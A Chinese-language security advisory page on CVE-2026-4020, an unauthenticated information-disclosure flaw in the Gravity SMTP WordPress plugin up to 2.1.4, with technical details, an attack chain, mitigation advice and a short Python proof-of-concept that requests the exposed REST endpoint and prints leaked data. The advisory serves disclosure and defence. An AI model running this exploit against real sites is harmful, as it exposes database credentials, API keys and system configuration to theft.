IPBUF安全漏洞报告
English
CVE-2026-4020 CVSS 7.5 高危

CVE-2026-4020 Gravity SMTP插件信息泄露漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-4020
漏洞类型
敏感信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gravity SMTP (WordPress Plugin)

相关标签

敏感信息泄露WordPressGravity SMTPCVE-2026-4020REST API

漏洞概述

WordPress的Gravity SMTP插件在2.1.4及之前的所有版本中存在敏感信息泄露漏洞。该漏洞源于插件注册的一个REST API端点(/wp-json/gravitysmtp/v1/tests/mock-data)的权限回调函数无条件返回true,导致未认证的攻击者可以访问该端点。当附加特定查询参数时,该端点会返回包含PHP版本、数据库信息、WordPress配置、活动插件列表以及API密钥等大量敏感系统数据的JSON报告,攻击者无需任何交互即可获取这些关键信息。

技术细节

该漏洞的核心在于WordPress REST API端点`/wp-json/gravitysmtp/v1/tests/mock-data`的权限验证机制失效。在代码实现中,注册该端点时使用的`permission_callback`函数直接返回`true`,绕过了WordPress的标准权限检查逻辑。当攻击者向该端点发送包含`?page=gravitysmtp-settings`参数的GET请求时,会触发插件内部的`register_connector_data()`方法。此方法负责收集并填充连接器数据,最终导致端点响应约365KB的JSON数据。该数据实际上是完整的系统报告,包含了服务器的详细环境信息(如PHP版本、Web服务器类型、文档根路径)、数据库详情(类型、版本、表名)、WordPress核心配置、所有已激活的插件及主题版本,甚至包括配置在插件中的API密钥和令牌。由于无需身份验证,攻击者可轻易通过简单的HTTP请求获取这些高价值信息,为进一步的渗透攻击提供数据支持。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标网站使用了WordPress并安装了Gravity SMTP插件。
STEP 2
2. 发送恶意请求
攻击者构造HTTP GET请求,访问/wp-json/gravitysmtp/v1/tests/mock-data端点,并附带page=gravitysmtp-settings参数。
STEP 3
3. 获取敏感数据
由于权限校验失效,服务器返回包含系统配置、数据库凭据、API密钥等敏感信息的完整JSON报告。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_vulnerability(target_url): """ Exploit/PoC for CVE-2026-4020 Checks for sensitive info disclosure in Gravity SMTP plugin. """ endpoint = "/wp-json/gravitysmtp/v1/tests/mock-data" params = { "page": "gravitysmtp-settings" } try: # Send unauthenticated request response = requests.get(target_url + endpoint, params=params, timeout=10) if response.status_code == 200: print("[+] Target is vulnerable!") print("[+] Leaked Data (Sample):") print(response.text[:500]) # Print first 500 chars to verify else: print("[-] Target does not appear to be vulnerable.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)

影响范围

Gravity SMTP <= 2.1.4

防御指南

临时缓解措施
建议立即将Gravity SMTP插件更新至最新版本以修复漏洞。如果无法立即更新,应通过服务器配置(如Nginx或Apache规则)临时禁止外部访问`/wp-json/gravitysmtp/v1/tests/`路径,防止敏感数据泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表